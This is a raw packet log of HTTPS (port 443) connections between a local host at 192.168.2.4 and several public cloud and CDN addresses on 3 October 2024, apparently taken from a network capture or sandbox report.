Oct 3, 2024 10:41:35.588745117 CEST	49851	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:35.589728117 CEST	49851	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:35.589740038 CEST	443	49851	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:35.591397047 CEST	443	49854	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:35.606144905 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.606225014 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.606354952 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.606419086 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.607047081 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.607095003 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.607117891 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.607124090 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.607156992 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.607188940 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.607242107 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.607248068 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.607451916 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.607624054 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.607685089 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.607690096 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.607728958 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.607803106 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.608074903 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.609400034 CEST	49854	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:35.614192009 CEST	443	49855	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.614453077 CEST	49855	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.614484072 CEST	443	49855	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.614909887 CEST	443	49855	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.615242004 CEST	49855	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.615324020 CEST	443	49855	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.615439892 CEST	49855	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.636149883 CEST	49833	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:35.636173010 CEST	443	49833	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:35.663398027 CEST	443	49855	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.747198105 CEST	49855	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.793502092 CEST	443	49856	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:35.793730974 CEST	49856	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:35.793751001 CEST	443	49856	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:35.794800997 CEST	443	49856	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:35.794872046 CEST	49856	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:35.795793056 CEST	49856	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:35.795867920 CEST	443	49856	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:35.795960903 CEST	49856	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:35.801328897 CEST	443	49854	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:35.801403999 CEST	443	49854	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:35.801506042 CEST	49854	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:35.802046061 CEST	49854	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:35.802056074 CEST	443	49854	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:35.804975986 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.805025101 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.805417061 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.805565119 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:35.805577040 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:35.832343102 CEST	49871	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.832374096 CEST	443	49871	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.832595110 CEST	49871	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.833065987 CEST	49871	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.833082914 CEST	443	49871	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.835079908 CEST	49872	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.835107088 CEST	443	49872	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.835258007 CEST	49872	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.835449934 CEST	49872	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.835462093 CEST	443	49872	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.839411020 CEST	443	49856	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:35.839519024 CEST	49873	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.839544058 CEST	443	49873	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.839711905 CEST	49873	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.840142012 CEST	49873	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.840157986 CEST	443	49873	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.844626904 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:35.844657898 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:35.845060110 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:35.845161915 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:35.845175982 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:35.874669075 CEST	443	49855	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.874737024 CEST	443	49855	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.874839067 CEST	49855	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.875787973 CEST	49855	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:35.875801086 CEST	443	49855	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:35.897075891 CEST	443	49856	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:35.897141933 CEST	49856	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:35.900125980 CEST	443	49863	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:35.902338028 CEST	49863	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:35.902364969 CEST	443	49863	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:35.902724028 CEST	443	49863	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:35.902920961 CEST	49856	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:35.902950048 CEST	443	49856	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:35.904628992 CEST	49863	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:35.904717922 CEST	443	49863	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:35.905153036 CEST	49863	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:35.947442055 CEST	443	49863	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:36.053087950 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.097652912 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.097671032 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.098959923 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.099035025 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.189239025 CEST	443	49863	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:36.189322948 CEST	443	49863	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:36.189461946 CEST	49863	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:36.451874018 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.452035904 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.457849026 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.457859993 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.460133076 CEST	49863	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:36.460148096 CEST	443	49863	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:36.464019060 CEST	443	49872	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.464080095 CEST	443	49871	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.486368895 CEST	443	49873	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.513381004 CEST	49872	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.513410091 CEST	443	49872	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.513441086 CEST	49871	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.513448954 CEST	443	49871	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.513844967 CEST	443	49872	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.513963938 CEST	443	49871	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.518336058 CEST	49873	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.518347979 CEST	443	49873	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.518591881 CEST	49872	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.518656969 CEST	443	49872	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.519131899 CEST	49871	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.519202948 CEST	443	49871	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.519481897 CEST	443	49873	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.519537926 CEST	49873	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.520409107 CEST	49873	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.520643950 CEST	443	49873	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.520684004 CEST	49872	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.520740032 CEST	49871	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.520821095 CEST	49873	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.520828009 CEST	443	49873	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.523147106 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.543339014 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.563395977 CEST	443	49871	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.563395977 CEST	443	49872	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.577450991 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.592991114 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.593003988 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.593391895 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:36.593417883 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.594217062 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.594229937 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.594459057 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.595437050 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.595443964 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:36.596636057 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.596733093 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.597738981 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:36.597804070 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.599090099 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.599103928 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.600090981 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:36.600100994 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.677562952 CEST	49882	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:36.677599907 CEST	443	49882	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:36.677871943 CEST	49882	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:36.678507090 CEST	49882	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:36.678524971 CEST	443	49882	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:36.678858042 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.678886890 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.678894997 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.678921938 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.678936005 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.678949118 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.678962946 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.679019928 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.679054022 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.679055929 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.679056883 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.679090977 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.688069105 CEST	49884	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.688127041 CEST	443	49884	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.688199043 CEST	49884	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.688391924 CEST	49884	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.688415051 CEST	443	49884	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.689636946 CEST	49885	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:36.689670086 CEST	443	49885	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:36.689729929 CEST	49885	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:36.689883947 CEST	49885	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:36.689893007 CEST	443	49885	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:36.701612949 CEST	49886	443	192.168.2.4	34.117.77.79
Oct 3, 2024 10:41:36.701648951 CEST	443	49886	34.117.77.79	192.168.2.4
Oct 3, 2024 10:41:36.701812029 CEST	49886	443	192.168.2.4	34.117.77.79
Oct 3, 2024 10:41:36.702106953 CEST	49886	443	192.168.2.4	34.117.77.79
Oct 3, 2024 10:41:36.702120066 CEST	443	49886	34.117.77.79	192.168.2.4
Oct 3, 2024 10:41:36.722572088 CEST	443	49872	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.722667933 CEST	443	49872	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.722930908 CEST	49872	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.723565102 CEST	49872	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.723576069 CEST	443	49872	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.731398106 CEST	443	49873	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.731447935 CEST	49873	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.731498003 CEST	443	49871	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.731576920 CEST	443	49871	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.731717110 CEST	49871	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.733211040 CEST	49871	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.733222961 CEST	443	49871	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.746507883 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.747661114 CEST	443	49873	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.747730970 CEST	443	49873	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.747792006 CEST	49873	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.749455929 CEST	49873	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:36.749475002 CEST	443	49873	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:36.759871960 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.759886026 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.759902000 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.759910107 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.759929895 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.759941101 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.759943962 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.759995937 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.760009050 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.760027885 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.760217905 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.761017084 CEST	49865	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.761027098 CEST	443	49865	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.804289103 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.804303885 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.804332972 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.804346085 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.804354906 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.804400921 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.804402113 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.804402113 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.804418087 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.804449081 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.806001902 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.807148933 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:36.866594076 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.866616011 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.866621971 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.866647959 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.866672993 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.866681099 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.866681099 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:36.866702080 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.866723061 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:36.866769075 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:36.884097099 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.884105921 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.884126902 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.884145021 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.884154081 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.884180069 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.884229898 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.884229898 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.884229898 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.884248972 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.890681982 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.890688896 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.890707970 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.890714884 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.890733957 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.890739918 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.890786886 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.907955885 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:36.907988071 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:36.908081055 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:36.908785105 CEST	49888	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:36.908797979 CEST	443	49888	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:36.948959112 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.948978901 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.948997974 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.949003935 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.949011087 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.949033976 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.949074030 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:36.949074030 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:36.949198961 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:36.956130028 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.956140995 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.956157923 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.956163883 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.956180096 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:36.956238031 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:36.956249952 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:36.956314087 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:36.970053911 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.970077038 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.970096111 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.970128059 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.970170975 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.970170975 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.970187902 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.970287085 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.970287085 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.971194983 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.971215010 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.971400023 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.971400023 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.971410036 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.972616911 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.973644972 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.973714113 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.973737001 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.974030972 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.974030972 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.974689007 CEST	49870	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.974706888 CEST	443	49870	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.977263927 CEST	49891	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:36.977302074 CEST	443	49891	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:36.977359056 CEST	49891	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:36.977812052 CEST	49891	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:36.977823973 CEST	443	49891	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:36.989790916 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.989826918 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:36.990032911 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.990489006 CEST	49892	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:36.990503073 CEST	443	49892	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:37.036777973 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.036792994 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.036824942 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.036927938 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.036927938 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.036957026 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.038005114 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.038021088 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.038090944 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.038101912 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.039305925 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.039321899 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.039369106 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.039397001 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.044732094 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.044747114 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.044941902 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.044960976 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.125740051 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.125761986 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.125909090 CEST	49874	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:37.125924110 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.126322031 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.126328945 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.126342058 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.126348019 CEST	443	49874	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:37.126419067 CEST	49874	443	192.168.2.4	13.33.187.60
